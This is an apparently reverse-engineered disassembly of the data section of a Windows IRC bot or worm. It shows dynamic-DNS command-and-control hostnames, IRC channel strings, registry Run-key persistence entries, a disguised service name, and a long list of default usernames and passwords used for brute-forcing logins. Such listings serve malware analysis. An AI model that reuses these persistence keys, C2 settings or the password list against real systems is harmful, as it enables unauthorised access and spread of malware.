		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D094o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D090o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D30Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D4DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DAE4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAE4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DAFC	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DAFC
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB1C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB1C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB3C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB3C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB60	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DB60
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DAE4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DAE4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DAFC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB1C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB3C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
; ---------------------------------------------------------------------------
		lds	esp, [ebp-5A3AF03Dh]
		retn
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------
		lds	esp, [ebp-5A3AF03Dh]
		retn
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FC3A5C5h, 5	dup(70895139h),	75h dup(0)
		dd 70895139h, 15h dup(0)
		dd 0FC3A5C5h, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset dword_424F64+0Fh
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDarksf		db 'Darksf',0           ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 76726573h, 78652E63h, 65h, 6E6E6977h, 61622E74h, 74h
aWindowsSercesA	db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429938h, 429928h, 429918h,	42990Ch
		dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h,	4298D8h
		dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh,	4298A0h
		dd 42989Ch, 429894h, 429890h, 0
		dd offset byte_43DB88
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294CC	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294B8o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294B0o
aMain		db 'main',0             ; DATA XREF: ___:004294ACo
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294A8o
aBlank		db 'blank',0            ; DATA XREF: ___:004294A4o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A0o
		align 10h
aControl	db 'control',0          ; DATA XREF: ___:0042949Co
aXp		db 'xp',0               ; DATA XREF: ___:00429498o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00429494o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429490o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:0042948Co
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429488o
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429484o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: ___:00429480o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:0042947Co
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429474o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:0042946Co
aSa		db 'sa',0               ; DATA XREF: ___:00429468o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429464o
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:0042945Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429458o
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429454o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429450o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:0042944Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429448o
		align 10h
aAccess		db 'access',0           ; DATA XREF: ___:00429444o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:0042943Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429438o
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429434o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429430o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:0042942Co
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429428o
aSex		db 'sex',0              ; DATA XREF: ___:00429424o
					; ___:off_438A68o
aSlut		db 'slut',0             ; DATA XREF: ___:00429420o
		align 4
